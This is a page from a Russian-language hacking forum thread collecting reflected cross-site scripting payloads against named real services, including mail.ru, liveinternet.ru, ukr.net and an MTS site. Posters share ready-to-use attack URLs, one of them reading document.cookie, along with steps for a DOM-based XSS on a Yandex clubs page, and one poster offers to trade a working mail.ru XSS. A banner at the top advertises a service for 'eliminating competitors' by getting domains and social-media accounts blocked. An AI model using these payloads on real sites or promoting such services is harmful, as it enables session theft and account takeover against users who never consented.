УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Пассивные xss на почтовых серверах

Страница 22 из 25

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#211

05.02.2012, 16:09

kravch_v

Guest

Сообщений: n/a

Провел на форуме:
45485

Репутация: 1

[CODE]
Code:
http://kino.ukr.net/persons/search?query=">alert('xss')

Также есть активная XSS на самой странице видео.

Уязвимое место "теги"

#212

05.02.2012, 21:31

kravch_v

Guest

Сообщений: n/a

Провел на форуме:
45485

Репутация: 1

LiveInternet.Ru

POST Запрос

Код:

Code:
http://liveinternet.ru/importmail.php?cmd=getbook_icq&addicqs=111">alert(/xss/)

Код:

Code:
http://liveinternet.ru/flashes.php?id=58259&page=0&filter=">alert('xss')

Код:

Code:
http://liveinternet.ru/flashes.php?id=629&page=1&userid=&cardinfo=">alert('xss')

Код:

Code:
http://litube.li.ru/yandex/?search_string=111">alert('xss')

#213

09.02.2012, 19:59

kravch_v

Guest

Сообщений: n/a

Провел на форуме:
45485

Репутация: 1

Ya.ru

Уязвимый код:

Код:

Code:

1) Заходим на clubs.ya.ru

2) Жмякаем на "Записать мысль"

3) Пишем в "HTML-Режиме" уязвимый код и переходим в режим "с оформлением"

XSS Выполняется.

#214

10.02.2012, 00:21

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

Провел на форуме:
4512

Репутация: 0

Цитата:

Сообщение от kravch_v

kravch_v said:
3) Пишем в "HTML-Режиме" уязвимый код и переходим в режим "с оформлением"
XSS Выполняется.

Это не пассивка, а DOM-based

#215

10.02.2012, 01:11

kravch_v

Guest

Сообщений: n/a

Провел на форуме:
45485

Репутация: 1

Цитата:

Сообщение от M_script

M_script said:
Это не пассивка, а DOM-based

Но тем не менее.

Еще видел одну маленькую дырочку, но раскрутить так и не смог. (Фильтруются , и еще несколько HTML-Тегов).

,
- выводятся.

#216

10.02.2012, 14:41

Always

Guest

Сообщений: n/a

Провел на форуме:
17560

Репутация: 0

Код:

Code:
http://pulse.mts.ru/search?q=">alert(document.cookie)

#217

22.02.2012, 18:33

jacklndn

Guest

Сообщений: n/a

Провел на форуме:
3380

Репутация: 0

На мaил есть рабочая хcс?

Мoгу пoменяться на oбхoд 704 oшибки

#218

26.02.2012, 10:56

Unknown

Guest

Сообщений: n/a

Провел на форуме:
0

Репутация: 6

Xss на mail.ru

Работает не во всех платформах OC на Windows 7 не пашет.

Код:

Code:
http://search.enc.mail.ru/search_enc?q=">

#219

26.02.2012, 12:03

jacklndn

Guest

Сообщений: n/a

Провел на форуме:
3380

Репутация: 0

Цитата:

Сообщение от Unix@

Unix@ said:
Xss на mail.ru
Работает не во всех платформах OC на Windows 7 не пашет.

на xp тоже не пашет

#220

26.02.2012, 13:16

Unknown

Guest

Сообщений: n/a

Провел на форуме:
0

Репутация: 6

xss mail.ru

Не знаю почему у меня работает,честно.

Страница 22 из 25

« Первая

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[ Обзор Уязвимостей .:Drupal :. ]	Cawabunga	Веб-уязвимости	43	12.01.2021 19:31
Cross Site Scripting FAQ	k00p3r	Уязвимости	6	12.06.2005 16:23

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход